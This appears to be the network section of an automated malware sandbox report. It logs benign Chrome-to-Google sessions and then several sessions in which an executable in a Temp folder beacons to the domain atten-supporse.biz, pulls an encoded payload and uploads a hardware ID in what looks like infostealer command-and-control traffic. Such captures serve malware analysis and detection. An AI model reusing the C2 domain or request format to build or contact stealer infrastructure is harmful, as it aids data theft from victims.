2024-12-09 14:29:08 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 Data Ascii: 8000-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u00
2024-12-09 14:29:08 UTC	1390	IN	Data Raw: 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c Data Ascii: n new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\
2024-12-09 14:29:08 UTC	1390	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e Data Ascii: getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	172.217.21.36	443	6548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:29:07 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 14:29:08 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 09 Dec 2024 14:29:08 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-09 14:29:08 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-09 14:29:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49956	172.67.165.166	443	7308	C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:30:48 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 14:30:48 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 14:30:48 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=or6sueoo092iq9gqqjtol4fsb8; expires=Fri, 04-Apr-2025 08:17:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D1aPjiNR%2F8AJh5aTOSpemMDHqAKZfRhlCXRqSBk8K8is9El6MrukErN9oaHeBwHdOU2yDcv25IkO33VTHK%2FaWjd%2BCCwiXfhAQ0iGKRxf6QaIlOawiyrb8i7%2BoG8ur09PteFg4Ic%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef5b1f7df595e65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1746&min_rtt=1740&rtt_var=665&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1630374&cwnd=242&unsent_bytes=0&cid=f906213e113b4cb8&ts=855&x=0"
2024-12-09 14:30:48 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 14:30:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49962	172.67.165.166	443	7308	C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:30:50 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 14:30:50 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 14:30:51 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ni5jcqqttf03ji5554vuhqkons; expires=Fri, 04-Apr-2025 08:17:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VAt6xmMytwI07zWlKlNNFIK5w3IGJ2mvf3o%2BU%2F1obD8VukqXsu51wZexEIhEH7N1FOOR6qwZRLZcO66ZS7C6jGtX3ifD6P5iKat502Ur0l82nOxEBPzXMSgKNCVdCRfXMTiLTAM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef5b2057f8a436f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1761&min_rtt=1758&rtt_var=665&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1637689&cwnd=181&unsent_bytes=0&cid=d6fb5b509d04df59&ts=1010&x=0"
2024-12-09 14:30:51 UTC	355	IN	Data Raw: 34 39 31 63 0d 0a 68 36 41 4a 46 70 59 68 72 6b 4a 6d 34 61 69 34 4b 36 6b 48 64 54 6c 45 4a 77 72 4a 57 67 55 55 75 36 71 72 38 52 4d 45 38 33 6e 38 67 6e 38 30 72 42 57 43 59 42 57 45 69 6f 4a 66 32 33 49 51 46 57 5a 47 62 75 74 67 59 33 58 58 32 63 37 64 4d 58 4b 65 57 37 33 47 61 48 72 6c 52 49 4a 67 41 35 6d 4b 67 6e 44 53 4a 52 42 58 5a 68 30 6f 72 44 42 6e 64 64 66 49 79 70 70 38 64 4a 38 61 37 38 78 75 66 76 4e 43 79 69 4d 4b 6a 4d 33 64 54 73 68 74 47 31 41 70 54 32 66 72 64 69 64 78 77 59 69 52 30 31 35 68 68 78 6a 4b 77 58 70 39 74 46 79 43 4f 55 53 45 78 70 6f 52 69 32 59 51 57 79 68 42 62 71 49 79 62 58 7a 66 79 63 2b 62 59 32 32 56 45 65 2f 43 62 58 2f 35 53 39 34 75 41 49 76 47 32 30 54 49 4a 56 6b 62 49 56 30 6f 38 33 67 30 52 4e 72 5a 32 Data Ascii: 491ch6AJFpYhrkJm4ai4K6kHdTlEJwrJWgUUu6qr8RME83n8gn80rBWCYBWEioJf23IQFWZGbutgY3XX2c7dMXKeW73GaHrlRIJgA5mKgnDSJRBXZh0orDBnddfIypp8dJ8a78xufvNCyiMKjM3dTshtG1ApT2frdidxwYiR015hhxjKwXp9tFyCOUSExpoRi2YQWyhBbqIybXzfyc+bY22VEe/CbX/5S94uAIvG20TIJVkbIV0o83g0RNrZ2
2024-12-09 14:30:51 UTC	1369	IN	Data Raw: 73 77 79 44 49 6a 42 33 31 76 41 62 42 70 57 4a 6b 68 69 70 44 74 6e 63 64 50 43 78 70 6c 31 61 35 77 64 35 63 49 72 4f 72 52 45 31 47 42 63 77 2b 6e 66 57 63 78 70 41 52 6b 63 42 58 66 6c 49 53 64 78 31 59 69 52 30 33 6c 6a 6b 68 6a 75 7a 57 68 38 2f 31 48 4d 4d 67 4b 4f 7a 38 68 50 7a 6d 73 64 57 44 52 50 5a 71 30 37 62 6e 33 51 7a 63 36 58 4d 53 6a 52 48 50 32 43 4d 7a 54 56 54 73 63 73 44 70 54 4b 6d 6c 61 46 66 46 64 63 4b 67 55 77 36 7a 78 6d 63 74 6a 4d 78 35 31 31 61 70 63 56 36 4d 31 74 66 76 52 45 78 69 67 4d 67 73 66 52 52 73 74 67 47 6c 38 67 53 57 6d 75 65 43 6b 32 33 74 43 4a 79 7a 46 49 6c 68 6a 33 67 46 35 33 2b 6b 33 4c 4e 6b 53 63 68 4d 4d 4a 7a 47 6c 58 41 32 5a 4c 62 61 51 71 5a 6d 54 63 78 74 75 66 64 47 43 63 47 4f 76 43 62 6e 50 35 Data Ascii: swyDIjB31vAbBpWJkhipDtncdPCxpl1a5wd5cIrOrRE1GBcw+nfWcxpARkcBXflISdx1YiR03ljkhjuzWh8/1HMMgKOz8hPzmsdWDRPZq07bn3Qzc6XMSjRHP2CMzTVTscsDpTKmlaFfFdcKgUw6zxmctjMx511apcV6M1tfvRExigMgsfRRstgGl8gSWmueCk23tCJyzFIlhj3gF53+k3LNkSchMMJzGlXA2ZLbaQqZmTcxtufdGCcGOvCbnP5
2024-12-09 14:30:51 UTC	1369	IN	Data Raw: 53 63 68 4d 4d 4a 7a 47 6c 58 41 32 5a 49 59 4b 34 39 61 48 66 54 78 73 79 5a 66 57 36 66 47 50 66 4e 62 33 54 34 53 38 59 74 43 6f 66 43 30 30 4c 41 59 78 64 61 4c 41 55 6d 36 7a 39 2f 4e 6f 47 49 2f 5a 52 39 61 35 35 5a 30 4d 46 6c 65 76 4e 56 6a 44 39 4b 6d 6f 72 64 52 59 73 39 56 31 63 76 52 57 4f 68 50 47 64 78 31 4d 33 4b 6c 48 4a 72 6c 68 48 72 78 57 39 34 2f 55 37 4b 49 41 4f 48 7a 38 68 4d 77 6d 6b 62 47 32 67 46 62 37 4e 34 50 7a 62 32 7a 39 2b 51 58 6d 57 41 45 71 58 64 4a 57 32 30 52 4d 42 67 58 4d 50 4e 33 30 48 41 59 78 39 62 4e 45 42 6d 6f 44 6c 74 63 4e 6a 46 78 5a 56 78 5a 35 45 64 36 63 4a 73 63 2b 5a 52 79 53 59 57 69 59 71 55 43 63 78 39 56 77 4e 6d 63 33 69 38 4b 58 45 30 37 4d 76 48 6e 58 5a 77 30 51 53 72 32 79 74 7a 2b 41 4f 55 59 Data Ascii: SchMMJzGlXA2ZIYK49aHfTxsyZfW6fGPfNb3T4S8YtCofC00LAYxdaLAUm6z9/NoGI/ZR9a55Z0MFlevNVjD9KmordRYs9V1cvRWOhPGdx1M3KlHJrlhHrxW94/U7KIAOHz8hMwmkbG2gFb7N4Pzb2z9+QXmWAEqXdJW20RMBgXMPN30HAYx9bNEBmoDltcNjFxZVxZ5Ed6cJsc+ZRySYWiYqUCcx9VwNmc3i8KXE07MvHnXZw0QSr2ytz+AOUY
2024-12-09 14:30:51 UTC	1369	IN	Data Raw: 52 52 73 42 33 46 31 59 69 53 57 79 6a 4d 32 30 32 6c 34 6a 4f 69 7a 45 2b 30 53 37 6f 7a 57 74 33 34 67 50 54 62 68 33 44 7a 64 59 4a 6b 79 55 62 56 53 5a 4b 5a 4b 63 7a 62 33 66 56 78 73 36 57 65 47 36 5a 43 65 54 47 59 33 58 36 54 4d 30 6b 41 59 62 4f 33 55 33 4e 61 6c 63 56 5a 6b 4a 77 36 32 41 6e 57 66 37 39 69 37 4a 4c 4a 6f 35 56 2f 49 4a 73 65 4c 51 62 6a 43 77 48 6a 38 4c 56 54 38 4a 70 48 56 49 74 53 57 4f 76 4e 47 35 7a 33 38 6e 4d 6c 6e 42 69 6e 52 48 6a 77 57 68 37 2b 30 7a 45 59 45 72 44 7a 63 49 4a 6b 79 55 79 54 43 31 4c 62 75 73 6e 4b 57 2b 5a 7a 38 58 54 4b 53 61 64 45 75 50 45 62 6e 6a 31 52 63 51 6c 44 49 66 4c 33 45 2f 49 61 68 4e 65 4a 30 70 73 70 7a 5a 74 64 39 6a 45 77 70 78 36 59 39 46 56 70 63 56 7a 4e 4b 77 44 2f 53 4d 53 6c 4e Data Ascii: RRsB3F1YiSWyjM202l4jOizE+0S7ozWt34gPTbh3DzdYJkyUbVSZKZKczb3fVxs6WeG6ZCeTGY3X6TM0kAYbO3U3NalcVZkJw62AnWf79i7JLJo5V/IJseLQbjCwHj8LVT8JpHVItSWOvNG5z38nMlnBinRHjwWh7+0zEYErDzcIJkyUyTC1LbusnKW+Zz8XTKSadEuPEbnj1RcQlDIfL3E/IahNeJ0pspzZtd9jEwpx6Y9FVpcVzNKwD/SMSlN
2024-12-09 14:30:51 UTC	1369	IN	Data Raw: 4a 56 6b 62 49 56 30 6f 38 33 68 4a 66 63 72 66 79 70 31 36 63 49 70 62 2b 6f 78 79 4e 50 4e 50 6a 48 68 45 67 4d 48 52 54 63 74 70 46 31 38 72 52 58 71 6b 50 32 42 2f 30 74 72 44 6c 48 5a 74 6d 52 44 71 78 48 6c 34 2b 6c 48 4a 4d 68 62 44 68 4a 70 4f 30 79 56 50 47 78 42 43 65 4c 73 37 4a 55 66 50 79 39 2b 59 66 47 72 52 42 4b 76 62 4b 33 50 34 41 35 52 67 41 6f 7a 44 32 55 62 4b 62 42 74 57 49 30 78 74 71 6a 35 6a 66 4e 50 49 7a 35 56 77 59 35 73 59 35 4d 68 69 63 2f 78 45 7a 7a 4a 45 7a 59 72 64 55 59 73 39 56 33 49 68 56 32 61 37 65 48 67 34 77 49 6a 4f 6e 7a 45 2b 30 52 2f 76 7a 57 39 7a 2b 45 58 4a 4a 67 6d 43 78 64 74 4a 78 47 45 63 55 69 42 45 5a 61 34 31 59 32 54 54 77 38 61 66 65 47 71 63 57 36 75 43 62 47 79 30 47 34 77 52 43 59 33 45 33 56 2b Data Ascii: JVkbIV0o83hJfcrfyp16cIpb+oxyNPNPjHhEgMHRTctpF18rRXqkP2B/0trDlHZtmRDqxHl4+lHJMhbDhJpO0yVPGxBCeLs7JUfPy9+YfGrRBKvbK3P4A5RgAozD2UbKbBtWI0xtqj5jfNPIz5VwY5sY5Mhic/xEzzJEzYrdUYs9V3IhV2a7eHg4wIjOnzE+0R/vzW9z+EXJJgmCxdtJxGEcUiBEZa41Y2TTw8afeGqcW6uCbGy0G4wRCY3E3V+
2024-12-09 14:30:51 UTC	1369	IN	Data Raw: 69 74 49 5a 61 67 2b 59 58 33 56 32 73 43 54 63 6d 33 52 56 61 58 46 63 7a 53 73 41 2b 38 33 45 6f 6e 4e 31 6c 2f 41 5a 42 52 4e 4b 31 55 6f 35 58 68 32 63 63 69 49 6b 59 56 68 63 5a 59 45 71 39 73 72 63 2f 67 44 6c 47 41 43 69 73 7a 64 54 38 56 33 45 6c 30 70 53 6d 47 69 50 47 39 31 32 63 7a 4e 6c 48 52 6c 6e 52 44 69 77 57 52 77 2f 55 33 46 4c 30 54 4e 69 74 31 52 69 7a 31 58 65 6a 31 47 5a 4b 5a 34 65 44 6a 41 69 4d 36 66 4d 54 37 52 46 2b 76 48 61 33 37 79 52 38 6b 6d 44 6f 62 4b 30 55 72 45 59 52 46 66 4b 55 56 6a 6f 6a 6c 68 63 39 50 44 7a 35 35 79 59 4a 64 62 71 34 4a 73 62 4c 51 62 6a 41 41 66 6a 73 62 64 43 64 51 72 44 68 73 68 53 53 6a 7a 65 47 78 36 33 63 2f 4a 6e 6e 4a 75 6c 42 2f 76 78 32 74 38 35 6b 76 4d 4a 78 61 52 79 74 4e 4d 78 32 59 58 Data Ascii: itIZag+YX3V2sCTcm3RVaXFczSsA+83EonN1l/AZBRNK1Uo5Xh2cciIkYVhcZYEq9src/gDlGACiszdT8V3El0pSmGiPG912czNlHRlnRDiwWRw/U3FL0TNit1Riz1Xej1GZKZ4eDjAiM6fMT7RF+vHa37yR8kmDobK0UrEYRFfKUVjojlhc9PDz55yYJdbq4JsbLQbjAAfjsbdCdQrDhshSSjzeGx63c/JnnJulB/vx2t85kvMJxaRytNMx2YX
2024-12-09 14:30:51 UTC	1369	IN	Data Raw: 75 37 4f 32 68 6e 35 34 69 52 69 6b 38 6d 6d 67 33 69 30 6d 68 69 2f 30 37 41 4d 54 72 44 6b 6f 34 62 6d 54 64 46 43 54 6b 46 64 35 52 32 4a 33 65 5a 6b 50 43 4b 4d 58 44 52 51 37 65 4d 4b 32 61 30 47 34 78 6e 42 35 48 59 33 45 72 64 5a 6c 42 6c 47 47 4a 2b 6f 54 39 33 63 63 37 48 69 64 30 78 61 64 46 44 33 49 4a 69 63 2b 39 53 32 69 30 55 68 49 72 6c 42 34 74 39 56 77 4e 6d 63 47 75 6c 4e 6d 42 67 79 49 58 75 68 58 74 68 67 52 7a 79 7a 53 73 36 74 45 57 4d 65 46 66 4e 69 74 35 59 69 7a 31 48 43 58 30 51 4f 2f 78 6f 4e 57 6d 58 30 59 6d 46 4d 54 37 44 56 61 58 51 4b 79 79 30 42 4d 38 79 46 6f 58 4a 7a 45 71 4d 57 79 6c 38 50 45 68 75 76 43 6c 5a 53 4e 37 53 78 4a 56 6d 64 39 30 4f 35 73 78 6c 63 2b 49 44 67 6d 41 4c 77 35 4c 6a 43 59 4d 6c 4b 42 56 6d 58 Data Ascii: u7O2hn54iRik8mmg3i0mhi/07AMTrDko4bmTdFCTkFd5R2J3eZkPCKMXDRQ7eMK2a0G4xnB5HY3ErdZlBlGGJ+oT93cc7Hid0xadFD3IJic+9S2i0UhIrlB4t9VwNmcGulNmBgyIXuhXthgRzyzSs6tEWMeFfNit5Yiz1HCX0QO/xoNWmX0YmFMT7DVaXQKyy0BM8yFoXJzEqMWyl8PEhuvClZSN7SxJVmd90O5sxlc+IDgmALw5LjCYMlKBVmX
2024-12-09 14:30:51 UTC	1369	IN	Data Raw: 30 49 59 6d 61 31 74 31 6f 4a 6f 64 62 76 5a 41 6c 4e 4f 59 44 6c 47 42 44 67 4e 6a 49 54 38 68 7a 46 42 77 59 65 30 2b 6c 50 32 5a 67 79 64 2f 47 72 55 39 7a 6b 68 58 72 78 58 31 6c 74 41 32 4d 4c 30 54 62 38 35 6f 42 69 31 70 5a 47 7a 34 46 4d 4f 73 4e 5a 48 6a 58 7a 39 2b 43 50 45 47 66 48 4f 54 55 65 32 50 37 41 34 4a 67 41 73 4f 53 69 41 65 4c 59 51 59 62 66 68 55 36 38 47 30 30 49 59 6d 61 31 74 31 6f 4a 6f 64 62 76 5a 41 6c 4e 4f 59 44 6c 47 42 44 67 4e 6a 49 54 38 68 7a 46 42 77 59 65 30 2b 6c 50 32 5a 67 79 64 2f 47 33 46 39 51 73 43 58 62 31 32 68 36 2b 6b 54 61 4d 55 54 4e 69 74 55 4a 6b 31 78 58 45 32 5a 36 4a 75 73 67 4a 79 36 5a 2f 63 71 64 66 32 47 48 43 71 6a 6c 5a 58 50 31 56 64 77 33 43 38 7a 6b 37 47 69 4c 4b 31 64 64 5a 68 30 36 35 58 Data Ascii: 0IYma1t1oJodbvZAlNOYDlGBDgNjIT8hzFBwYe0+lP2Zgyd/GrU9zkhXrxX1ltA2ML0Tb85oBi1pZGz4FMOsNZHjXz9+CPEGfHOTUe2P7A4JgAsOSiAeLYQYbfhU68G00IYma1t1oJodbvZAlNOYDlGBDgNjIT8hzFBwYe0+lP2Zgyd/G3F9QsCXb12h6+kTaMUTNitUJk1xXE2Z6JusgJy6Z/cqdf2GHCqjlZXP1Vdw3C8zk7GiLK1ddZh065X
2024-12-09 14:30:51 UTC	1369	IN	Data Raw: 7a 39 6d 51 4d 31 65 48 47 4f 58 4d 62 44 53 36 41 39 52 67 58 4d 50 6e 79 45 37 62 5a 6c 63 56 5a 6b 6b 6f 38 33 68 71 5a 4e 37 59 79 74 39 32 66 4a 5a 62 2b 6f 78 79 4e 4f 49 44 6c 48 4e 4b 77 39 69 61 45 59 73 69 47 56 59 6e 52 6d 61 6f 4b 6e 56 77 32 74 37 4b 31 45 39 59 76 41 6e 69 30 6d 67 32 78 55 37 49 4e 68 47 41 32 74 31 33 39 55 67 46 58 44 5a 47 4b 6f 63 2f 61 6e 72 6e 39 76 36 43 64 6e 62 54 50 65 62 55 61 44 53 36 41 39 52 67 58 4d 50 6e 79 45 37 62 5a 6c 56 33 49 55 68 6b 36 79 63 70 62 35 6e 65 69 63 73 69 4b 4e 45 4a 70 5a 6f 72 4d 2f 64 52 33 69 59 48 6c 63 6d 64 64 2f 56 49 42 56 77 32 52 69 71 61 4e 57 4e 67 7a 4d 76 5a 6c 45 39 59 76 41 6e 69 30 6d 67 32 30 58 6d 4f 45 52 4b 41 79 74 52 4f 69 79 74 58 51 32 59 64 4b 49 59 71 59 47 62 Data Ascii: z9mQM1eHGOXMbDS6A9RgXMPnyE7bZlcVZkko83hqZN7Yyt92fJZb+oxyNOIDlHNKw9iaEYsiGVYnRmaoKnVw2t7K1E9YvAni0mg2xU7INhGA2t139UgFXDZGKoc/anrn9v6CdnbTPebUaDS6A9RgXMPnyE7bZlV3IUhk6ycpb5neicsiKNEJpZorM/dR3iYHlcmdd/VIBVw2RiqaNWNgzMvZlE9YvAni0mg20XmOERKAytROiytXQ2YdKIYqYGb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49967	172.67.165.166	443	7308	C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:30:52 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X9FOZA3SUXXT5PX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12823 Host: atten-supporse.biz
2024-12-09 14:30:52 UTC	12823	OUT	Data Raw: 2d 2d 58 39 46 4f 5a 41 33 53 55 58 58 54 35 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 37 41 31 43 46 34 34 33 44 41 46 46 44 34 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 58 39 46 4f 5a 41 33 53 55 58 58 54 35 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 39 46 4f 5a 41 33 53 55 58 58 54 35 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --X9FOZA3SUXXT5PXContent-Disposition: form-data; name="hwid"D47A1CF443DAFFD423D904AF30EFEBBC--X9FOZA3SUXXT5PXContent-Disposition: form-data; name="pid"2--X9FOZA3SUXXT5PXContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-09 14:30:53 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t4vb00mlqdfdu3f9a61kep2d1c; expires=Fri, 04-Apr-2025 08:17:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rzk1hc7n1FlVFGLvxOohFovlSCnqxPpiaeNK2WkBDkW3xJk0%2FyWIB%2BEGJc9TJv%2B4tWLnWoK%2BTSZ1mN2tYZpPCNN130ycGO4sHTKBD5QyH1Eeug7sVfei3dE0zE2TBZpM3bF%2FolA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef5b215bd7143b6-EWR alt-svc: h3=":443"; 